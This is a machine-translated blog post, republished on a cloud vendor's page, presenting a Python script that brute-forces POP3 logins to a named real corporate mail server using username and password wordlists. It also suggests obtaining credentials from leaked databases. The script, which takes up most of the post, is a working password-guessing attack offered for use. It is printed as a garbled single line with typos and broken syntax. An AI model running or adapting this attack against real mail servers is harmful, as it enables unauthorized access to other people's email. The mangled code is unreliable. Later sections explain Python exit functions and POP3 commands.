Python's blasting script for making enterprise mailboxes _python

Source: Internet
Author: User
Tags auth exit in in python

According to the task given by the master, wrote a corporate mailbox blasting script, followed by some ftp,ssh and other blasting scripts.

Let me first say the whole idea:

The overall thing is to use Python's Poplib module to interact from the POP3 server and produce results based on the information obtained. POP3 protocol is not complicated, it is also used in a question-and-answer way, you send a command to the server, the server will inevitably reply to a message.

1. Verify that the parameters are correct first

Sys.argv[] is used to get command-line arguments, Sys.argv[0] represents the file path of the code itself, so the argument starts at 1

2. Then read the information from the user's password file
3.pop.getwelcome () is used to get the response status of the connection server
4. Then is the core Code section of the script

Server = "pop.qiye.163.com"//Set POP3 server address
pop = poplib. POP3 (server,110)//connection POP3 server
pop.user (user)//authentication username
auth = pop.pass_ (passwd)//Authentication password
if Auth.split (") [0] = = "+ok"://Determine whether the result of the response is "OK"
 pring user,passwd

5. The final output of relevant user information

The script code is as follows:

#!/usr/bin/python #-*-Coding:utf-8-*-' @Author: joy_nick @ Blog: http://byd.dropsec.xyz/@Email Pop3 Brute "" Import threading, time, Random, sys, poplib from copy import copy if Len (sys.argv)!=3:print "\ t---------------------- ----------------------------\ n "print" \ Usage:./emailpopbrute.py <userlist> <passlist>\n "Sys.exit (1) s erver = "pop.qiye.163.com" success = [] try:users = open (Sys.argv[1], "R"). ReadLines () except (ioerror): Print [-] Err Or:urerlist Open Failed!\n "Sys.exit (1) try:words = open (sys.argv[2)," R "). ReadLines () except (ioerror): print" [-] Error:pa Sslist Open Failed!\n "Sys.exit (1) try:pop = Poplib. POP3 (server,110) Welcome = Pop.getwelcome () Print welcome pop.quit () except (Poplib.error_proto): welcome = "No Respon Se "Pass def Mailbruteforce (listuser,listpwd): If Len (Listuser) < 1/len (LISTPWD) < 1:print" An error Occurr Ed:no User or Pass list "return 1 to User in listuser:for value in Listpwd:user = User.replAce ("\ n", "") value = Value.replace ("\ n", "") try:print "-*12 print [+] User:", User, "Password:", Value time.sleep (1) Pop = Poplib. POP3 (server,110) pop.user (user) auth = pop.pass_ (value) print auth if Auth.split (') [0]!= ' +ok ': Pop.quit () print
 "Unknown error!"
 Continue if Pop.stat () [1] is None or Pop.stat () [1] < 1:pop.quit () print "Failed to get information!" Continue ret = (User,value,pop.stat () [0],pop.stat () [1]) success.append (ret) pop.quit () break except: #print ' an Erro R occurred: ", msg pass print \ \--------------------------------------------------\ n" print "[+] Server:", server print [+] port:995 "Print" [+] Users Loaded:, Len (users) print [+] Words Loaded: ", Len (Words) print" [+] Server response: ", welcome, "\ n" mailbruteforce (users,words) print "\t[+] have Weakpass: \ t", Len (Success) If Len (success) >=1:for RET in success : print "\n\n[+] Login Successful:", Ret[0], ret[1] print "\t[+" Mail: ", ret[2", "emails" print "\t[+" Size: ", ret[3]," byte s\n "Print" \n[-]Done "


 

Test results:

Description

User dictionary files need to be @domain.com, similar to zhangsan@domain.com, Lisi@domain.com, wangwu@domain.com. Because I also do not have the Enterprise mailbox account password, also did not test successfully, if interested, may search the related social work pants.

Report:

What is the difference between os._exit (), Sys.exit (), and exit () in Python?

    1. Sys.exit (n) exits the program to throw a Systemexit exception, which can be caught doing some cleanup work. n the default value is 0, which indicates a normal exit. The rest are irregular exits. If this exception is not caught, it exits directly, and catching this exception can do some extra cleanup work. Use this exit in general main program
    2. Os._exit (n), exit the Python interpreter directly, followed by the code does not execute, do not throw exceptions, do not perform related cleanup work. Exits that are commonly used in child processes.
    3. Exit () should be the same as the exit () in other languages such as C language.

POP3 the process of receiving mail is generally:

    • Connect the POP3 server (Poplib. POP3.__INIT__)
    • Send user name and password for authentication (poplib. Pop3.user Poplib. Pop3.pass_)
    • Gets the letter information in the mailbox (Poplib. Pop3.stat)
    • Receive Mail (poplib. POP3.RETR)
    • Deletes a message (poplib. Pop3.dele)
    • Exit (Poplib. Pop3.quit)

Command Poplib method parameter status description
--------------------------------------------------------------------------------------- --------
User user username approves the username, which, if successful with the pass command below, will result in a state transition
Pass pass_ Password approved user password
APOP APOP name,digest Approved Digest is a MD5 message digest
------------------------------------------------------------------------------------------ -----
STAT STAT None processing request server to send back statistics about mailboxes, such as total number of messages and total bytes
UIDL UIDL [msg#] handles the unique identifier of the returned message, and each identifier for the POP3 session will be the only
LIST lis t [msg#] handles the number of messages returned and the size of each message
RETR RETR [msg#] handles the return of all text for the message identified by the parameter
DELE DELE the [msg#] processing server marks the message identified by the parameter as deleted, executed by the QUIT command
RSET RSET The None processing server resets all messages marked for deletion, to undo the dele command
the top [msg#] processing server returns the first n rows of messages identified by the parameter, n must be a positive integer
NOOP NOOP None processing server Returns a positive response

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.